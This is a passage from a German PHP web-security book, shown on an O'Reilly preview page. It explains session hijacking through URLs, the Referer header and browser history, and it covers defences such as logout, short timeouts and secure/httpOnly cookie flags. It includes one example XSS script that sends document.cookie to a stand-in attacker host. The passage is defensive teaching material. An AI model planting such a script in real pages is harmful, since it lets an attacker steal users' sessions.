O'Reilly logo

PHP-Sicherheit: PHP/MySQL-Webanwendungen sicher programmieren by Stefan Esser, Christopher Kunz

Stay ahead with the world's most comprehensive technology and business learning platform.

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, tutorials, and more.

Start Free Trial

No credit card required

7 Sessions180
7.7 Session Hijacking
Falls es einem Angreifer gelingt, eine Session zu übernehmen oder die
richtige Session-ID zu erraten, kann er die Identität eines anderen
Benutzers annehmen. Dieser als »Session Hijacking« bekannte Angriff
kann durch die Implementierung der richtigen Methoden entschärft
werden, die je nach Applikation verschieden rigoros sein sollten. Eine
Onlinebank sollte sicher strengere Mechanismen implementieren als
ein Webforum, das sich mit der Zucht der »Hommingberger Gepar-
denforelle« befasst.
Session-ID in der URL
Die einfachste Art, einer gültigen Session-ID habhaft zu werden,
ist der Weg über die URL oder Cookies. Dies kann zum Beispiel durch
Mitlesen des Netzwerkverkehrs geschehen. Aber auch der Verlaufs-
speicher in Browsern oder die Speicherung von URLs in den Favoriten
bzw. Bookmarks ist gefährlich. Wird dort eine Session-ID gespeichert,
die eine beliebige oder zu lange Gültigkeitsdauer hat, kann ein anderer
Nutzer des Computers diese verwenden. In Internetcafs oder an
öffentlichen Internetterminals ist es oft unmöglich, den Verlaufsspei-
cher des Browsers zu löschen. Session-Klau wird hier trivial einfach:
Ein wenig im Verlauf stöbern, und man findet gültige Sessions von
Mailportalen, Foren oder ähnlichen Anwendungen. Viele Webdienste
bieten daher extra für solche »öffentlichen Terminals«, die nicht nur
für eine geringe Personenzahl zugänglich sind, einen Login mit ver-
kürzter Session-Dauer und ohne Cookies an.
Session-ID in einem
Cookie
Das Session-Cookie kann auch mittels JavaScript gestohlen wer-
den, das über einen Cross-Site-Scripting-Angriff auf die Seite einge-
schleust wird. Mehr über Cross-Site Scripting erfahren Sie im gleichna-
migen Kapitel 4 – hier möchten wir Ihnen nur kurz vorstellen, wie ein
Angreifer die Session per JavaScript stehlen kann.
Besonders praktisch für den Angreifer ist, dass JavaScript ihm die
Übermittlung der meisten Cookies an einen fremden Server erlaubt.
Hierzu muss er einem privilegierten Benutzer, z.B. per Mail, einen ent-
sprechend präparierten Link unterschieben, den dieser dann anklickt.
Solcher Skriptcode kann z.B. wie folgt aussehen:
<script>top.load('http://www.boese.de/?cookie=' +
document.cookie)</script>.')
XSS-Beispiel für Session-
Diebstahl
Die Servervariable $_SERVER['HTTP_REFERER'] enthält die komplette
URL mit Query-String, und zwar die URL der vorherigen Seite.
Session-ID im Referrer
Wird eine Session-ID per URL übertragen, haben alle anderen
nachfolgenden Seiten diese Session-ID zur Verfügung.
1817.7 Session Hijacking
Ein Beispiel verdeutlicht den Ablauf dieses Angriffs:
1. Der User loggt sich in einer Webanwendung ein, etwa einem Fo-
rum.
2. Die Session-ID »123456trewq« wird an die URL angehängt.
3. Der Benutzer klickt in einem Beitrag auf die externe URL
http://www.php-sicherheit.de.
4. Beim Betreten von www.php-sicherheit.de enthält die Servervari-
able
$_SERVER['HTTP_REFERER'] die Session-ID »123456trewq«.
5. Der Inhaber von http://www.php-sicherheit.de kann nun die Ses-
sion übernehmen, da sich der User nicht auf der Forumsseite aus-
geloggt hat. Er findet die Session-ID z.B. in seinen Server-Log-Da-
teien oder hat eventuell spezielle Mechanismen zur Ermittlung des
Referrers.
Ein Entwickler einer Applikation muss einen Mechanismus zum Aus-
loggen aus der Applikation implementieren, um den Benutzer vor Ses-
sion Hijacking zu schützen.
Beim Logout-Vorgang wird dann diese Session-ID mit dem
dazugehörigen Session-Speicher auf dem Server gelöscht und ungültig
gemacht.
Eine andere Möglichkeit wird im Abschnitt 7.9.3 »Session-ID aus
dem Referrer löschen« vorgestellt.
Außerdem kann der Session-Timeout auf eine sehr kurze Zeit ein-
gestellt werden. Bei »wichtigen« Transaktionen sollte ein erneutes Ein-
loggen oder, wie bei Banken üblich, eine PIN- oder TAN-Abfrage
durchgeführt werden.
Session-Cookie schützen
Wird die Applikation durch SSL gegen das Abhören der Session-
ID geschützt, so ist darauf zu achten, das Session-Management von
PHP so zu konfigurieren, dass das Session-Cookie als secure markiert
ist. Dies kann über die Konfigurationsdatei
php.ini geschehen oder
aber direkt durch die Applikation mit der Funktion
session_set_
cookie_params()
gesetzt werden. Wird dies nicht beachtet, dann kann
ein Angreifer den Browser dazu verleiten, das Cookie auch über eine
ungesicherte Verbindung zu senden. Dies ermöglicht dann wiederum
das Abhören.
Eine weitere seit PHP 5.2.0 empfohlene Maßnahme besteht darin,
das Session-ID-Cookie zusätzlich mit dem »httpOnly«-Flag zu verse-
hen. Dieses Flag besagt, dass der Browser JavaScript den Zugriff auf
das Cookie verbietet, wodurch ein Hijacking per XSS verhindert wird.
Da das Flag eine nicht standardisierte Erweiterung ist, wird es bisher
nur vom Internet Explorer und von aktuellen Mozilla-Versionen
unterstützt. Browser, die das Flag nicht kennen, sollten es ignorieren.

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, interactive tutorials, and more.

Start Free Trial

No credit card required